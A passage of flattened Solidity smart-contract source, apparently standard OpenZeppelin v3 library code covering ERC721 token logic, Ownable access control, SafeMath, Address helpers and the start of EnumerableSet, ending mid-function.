function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
